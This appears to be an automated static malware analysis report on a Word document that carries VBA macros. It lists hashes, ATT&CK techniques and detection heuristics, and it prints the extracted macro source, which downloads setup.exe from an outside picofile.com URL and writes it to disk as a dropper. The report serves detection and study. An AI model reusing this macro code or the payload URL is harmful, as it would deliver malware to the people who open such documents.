Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 833899ba930e17c0…

MALICIOUS

Office (OOXML)

27.4 KB Created: 2021-06-11 06:23:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-20
MD5: de0d4cecac26598e3417d373b2f8a861 SHA-1: b95327c8e1b081df7782cff04a6c074810bffcfd SHA-256: 833899ba930e17c045915c2f8ebd1abd32508f7fb116aeb2801c57ca69635999
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that are designed to bypass Office security warnings and prompt the user to enable content. The macro then downloads a second-stage executable from the URL "https://s18.picofile.com/d/8436555534/bd6ceb0e-6827-4263-9a5e-2953ea47b679/setup.exe" and saves it to the local disk as "C:\setup.exe". This behavior is indicative of a dropper malware.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    myURL = WinHttpReq.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://s18.picofile.com/d/8436555534/bd6ceb0e-6827-4263-9a5e-2953ea47b679/setup.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 847 bytes
SHA-256: 4ecb44d3b8311e68ddb32b0b636d6c3fa1b23278be57caa39074af2942b941ad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub download_HK_picture()


Dim myURL As String
myURL = "https://s18.picofile.com/d/8436555534/bd6ceb0e-6827-4263-9a5e-2953ea47b679/setup.exe"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False
WinHttpReq.Send

myURL = WinHttpReq.ResponseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile ("C:\")
oStream.Close
End If

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: dec0a13cfd33404c21831384981a6aa126ba3b2806f0742cc7d759871d8cc067
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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